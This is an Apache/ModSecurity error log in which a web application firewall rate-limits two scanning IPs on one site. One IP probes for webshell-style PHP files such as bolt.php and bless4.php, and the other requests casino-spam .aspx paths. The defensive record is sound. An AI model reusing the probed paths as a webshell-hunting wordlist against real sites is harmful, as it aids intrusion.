[Thu Apr 16 06:08:08.206919 2026] [:error] [pid 57537:tid 57583] [client 20.215.49.170:58797] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aeAMSFVQRS8nm73ENAkv0AAAAEg"]
[Thu Apr 16 06:08:09.465868 2026] [:error] [pid 29603:tid 29625] [client 20.215.49.170:58331] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aeAMSVfGOR6fpTWUAzq-JwAAARQ"]
[Thu Apr 16 06:08:11.393005 2026] [:error] [pid 57538:tid 57607] [client 20.215.49.170:64425] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aeAMS8uMaiEF5SVR2BcxgAAAAIU"]
[Thu Apr 16 06:08:12.457044 2026] [:error] [pid 57538:tid 57605] [client 20.215.49.170:5164] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aeAMTMuMaiEF5SVR2BcxgwAAAIM"]
[Thu Apr 16 06:08:13.698230 2026] [:error] [pid 57639:tid 57647] [client 20.215.49.170:58311] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuu.php"] [unique_id "aeAMTaMCQoTw7TsxWunFIwAAAME"]
[Thu Apr 16 06:08:34.390188 2026] [:error] [pid 57537:tid 57593] [client 20.215.49.170:5963] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aeAMYlVQRS8nm73ENAkv_gAAAFI"]
[Thu Apr 16 06:08:35.040372 2026] [:error] [pid 49094:tid 49120] [client 20.215.49.170:5131] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aeAMYzbDwvcXorHR_MyEeAAAAVg"]
[Thu Apr 16 06:08:35.819908 2026] [:error] [pid 49094:tid 49106] [client 20.215.49.170:58414] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aeAMYzbDwvcXorHR_MyEfAAAAUo"]
[Thu Apr 16 06:08:37.164762 2026] [:error] [pid 49094:tid 49114] [client 20.215.49.170:58713] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aeAMZTbDwvcXorHR_MyEgQAAAVI"]
[Thu Apr 16 06:08:39.869326 2026] [:error] [pid 57537:tid 57581] [client 51.75.116.205:59732] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aeAMZ1VQRS8nm73ENAkwAwAAAEY"]
[Thu Apr 16 06:08:40.433823 2026] [:error] [pid 29603:tid 29626] [client 20.215.49.170:65461] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aeAMaFfGOR6fpTWUAzq-XwAAARU"]
[Thu Apr 16 06:08:41.836397 2026] [:error] [pid 29603:tid 29617] [client 51.75.116.205:57036] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aeAMaVfGOR6fpTWUAzq-YwAAAQw"]
[Thu Apr 16 06:08:42.095226 2026] [:error] [pid 29603:tid 29623] [client 20.215.49.170:5139] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aeAMalfGOR6fpTWUAzq-ZQAAARI"]
[Thu Apr 16 06:08:43.094150 2026] [:error] [pid 29603:tid 29607] [client 20.215.49.170:58761] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aeAMa1fGOR6fpTWUAzq-bQAAAQI"]
[Thu Apr 16 06:08:43.837982 2026] [:error] [pid 49094:tid 49110] [client 51.75.116.205:57042] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aeAMazbDwvcXorHR_MyElAAAAU4"]
[Thu Apr 16 06:08:44.992451 2026] [:error] [pid 57639:tid 57655] [client 20.215.49.170:55029] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f6.php"] [unique_id "aeAMbKMCQoTw7TsxWunFLAAAAMk"]
[Thu Apr 16 06:08:45.851953 2026] [:error] [pid 49094:tid 49115] [client 51.75.116.205:57056] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aeAMbTbDwvcXorHR_MyEnQAAAVM"]
[Thu Apr 16 06:08:46.293075 2026] [:error] [pid 49094:tid 49099] [client 20.215.49.170:58407] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aeAMbjbDwvcXorHR_MyEoQAAAUM"]
[Thu Apr 16 06:08:47.134493 2026] [:error] [pid 29603:tid 29615] [client 20.215.49.170:55030] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aeAMb1fGOR6fpTWUAzq-cgAAAQo"]
[Thu Apr 16 06:08:47.847278 2026] [:error] [pid 29603:tid 29620] [client 51.75.116.205:57068] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aeAMb1fGOR6fpTWUAzq-cwAAAQ8"]
[Thu Apr 16 06:08:48.596582 2026] [:error] [pid 49094:tid 49108] [client 20.215.49.170:64402] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aeAMcDbDwvcXorHR_MyErAAAAUw"]
[Thu Apr 16 06:08:49.804302 2026] [:error] [pid 29603:tid 29629] [client 20.215.49.170:55026] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aeAMcVfGOR6fpTWUAzq-fAAAARg"]
[Thu Apr 16 06:08:49.864666 2026] [:error] [pid 49094:tid 49107] [client 51.75.116.205:54378] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aeAMcTbDwvcXorHR_MyEtgAAAUs"]
[Thu Apr 16 06:08:50.984723 2026] [:error] [pid 57537:tid 57578] [client 20.215.49.170:5173] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aeAMclVQRS8nm73ENAkwCwAAAEM"]
[Thu Apr 16 06:08:51.861070 2026] [:error] [pid 57538:tid 57626] [client 20.215.49.170:58698] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aeAMc8uMaiEF5SVR2BcxogAAAJg"]
[Thu Apr 16 06:08:51.862056 2026] [:error] [pid 57538:tid 57617] [client 51.75.116.205:54388] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aeAMc8uMaiEF5SVR2BcxowAAAI8"]
[Thu Apr 16 06:08:53.845910 2026] [:error] [pid 49094:tid 49097] [client 20.215.49.170:5966] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aeAMdTbDwvcXorHR_MyEwgAAAUE"]
[Thu Apr 16 06:08:53.881616 2026] [:error] [pid 49094:tid 49101] [client 51.75.116.205:54402] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aeAMdTbDwvcXorHR_MyExAAAAUU"]
[Thu Apr 16 06:08:55.881515 2026] [:error] [pid 49094:tid 49118] [client 51.75.116.205:54414] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aeAMdzbDwvcXorHR_MyEzAAAAVY"]
[Thu Apr 16 06:08:56.741969 2026] [:error] [pid 49094:tid 49110] [client 20.215.49.170:5987] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aeAMeDbDwvcXorHR_MyE0QAAAU4"]
[Thu Apr 16 06:08:57.755895 2026] [:error] [pid 49094:tid 49098] [client 51.75.116.205:54418] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aeAMeTbDwvcXorHR_MyE1gAAAUI"]
[Thu Apr 16 06:08:58.510490 2026] [:error] [pid 49094:tid 49118] [client 20.215.49.170:5990] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aeAMejbDwvcXorHR_MyE2wAAAVY"]
[Thu Apr 16 06:08:59.243330 2026] [:error] [pid 57538:tid 57608] [client 20.215.49.170:5980] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aeAMe8uMaiEF5SVR2BcxrwAAAIY"]
[Thu Apr 16 06:08:59.755670 2026] [:error] [pid 49094:tid 49110] [client 51.75.116.205:41084] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aeAMezbDwvcXorHR_MyE3wAAAU4"]
[Thu Apr 16 06:09:00.620151 2026] [:error] [pid 49094:tid 49105] [client 20.215.49.170:65453] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aeAMfDbDwvcXorHR_MyE4wAAAUk"]
[Thu Apr 16 06:09:01.780437 2026] [:error] [pid 49094:tid 49118] [client 51.75.116.205:41090] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aeAMfTbDwvcXorHR_MyE5gAAAVY"]
[Thu Apr 16 06:09:01.997593 2026] [:error] [pid 57538:tid 57604] [client 20.215.49.170:55002] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aeAMfcuMaiEF5SVR2BcxsgAAAII"]
[Thu Apr 16 06:09:03.255863 2026] [:error] [pid 57536:tid 57570] [client 20.215.49.170:58723] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aeAMfyQU4faGja6jpDt9UQAAABY"]
[Thu Apr 16 06:09:03.774790 2026] [:error] [pid 57538:tid 57621] [client 51.75.116.205:41096] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aeAMf8uMaiEF5SVR2BcxtAAAAJM"]
[Thu Apr 16 06:09:04.515091 2026] [:error] [pid 49094:tid 49099] [client 20.215.49.170:58762] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aeAMgDbDwvcXorHR_MyE-AAAAUM"]
[Thu Apr 16 06:09:05.778746 2026] [:error] [pid 57639:tid 57667] [client 51.75.116.205:41110] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aeAMgaMCQoTw7TsxWunFOAAAANU"]
[Thu Apr 16 06:09:06.123516 2026] [:error] [pid 57538:tid 57625] [client 20.215.49.170:65157] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aeAMgsuMaiEF5SVR2BcxtwAAAJc"]
[Thu Apr 16 06:09:07.377283 2026] [:error] [pid 49094:tid 49103] [client 20.215.49.170:5135] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aeAMgzbDwvcXorHR_MyE_AAAAUc"]
[Thu Apr 16 06:09:07.787008 2026] [:error] [pid 49094:tid 49113] [client 51.75.116.205:41114] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aeAMgzbDwvcXorHR_MyE_wAAAVE"]
[Thu Apr 16 06:09:08.069964 2026] [:error] [pid 49094:tid 49112] [client 20.215.49.170:5963] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeAMhDbDwvcXorHR_MyFAwAAAVA"]
[Thu Apr 16 06:09:08.927498 2026] [:error] [pid 49094:tid 49110] [client 20.215.49.170:58710] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeAMhDbDwvcXorHR_MyFBwAAAU4"]
[Thu Apr 16 06:09:09.689428 2026] [:error] [pid 57538:tid 57615] [client 20.215.49.170:58752] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeAMhcuMaiEF5SVR2BcxuAAAAI0"]
[Thu Apr 16 06:09:09.785183 2026] [:error] [pid 49094:tid 49115] [client 51.75.116.205:43420] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aeAMhTbDwvcXorHR_MyFCwAAAVM"]
[Thu Apr 16 06:09:10.482726 2026] [:error] [pid 49094:tid 49112] [client 20.215.49.170:58396] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeAMhjbDwvcXorHR_MyFEAAAAVA"]
[Thu Apr 16 06:09:11.062568 2026] [:error] [pid 29603:tid 29628] [client 20.215.49.170:58753] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless4.php"] [unique_id "aeAMh1fGOR6fpTWUAzq-mgAAARc"]
[Thu Apr 16 06:09:11.796789 2026] [:error] [pid 57538:tid 57614] [client 51.75.116.205:43422] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aeAMh8uMaiEF5SVR2BcxvAAAAIw"]
[Thu Apr 16 06:09:12.935042 2026] [:error] [pid 57537:tid 57581] [client 20.215.49.170:65193] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless4.php"] [unique_id "aeAMiFVQRS8nm73ENAkwFwAAAEY"]
[Thu Apr 16 06:09:13.807551 2026] [:error] [pid 29603:tid 29624] [client 51.75.116.205:43438] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aeAMiVfGOR6fpTWUAzq-pAAAARM"]
[Thu Apr 16 06:09:13.868939 2026] [:error] [pid 49094:tid 49107] [client 20.215.49.170:65160] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless4.php"] [unique_id "aeAMiTbDwvcXorHR_MyFGgAAAUs"]
[Thu Apr 16 06:09:14.583759 2026] [:error] [pid 49094:tid 49112] [client 20.215.49.170:64392] [client 20.215.49.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless4.php"] [unique_id "aeAMijbDwvcXorHR_MyFHQAAAVA"]
[Thu Apr 16 06:09:15.809756 2026] [:error] [pid 49094:tid 49118] [client 51.75.116.205:43454] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aeAMizbDwvcXorHR_MyFHgAAAVY"]
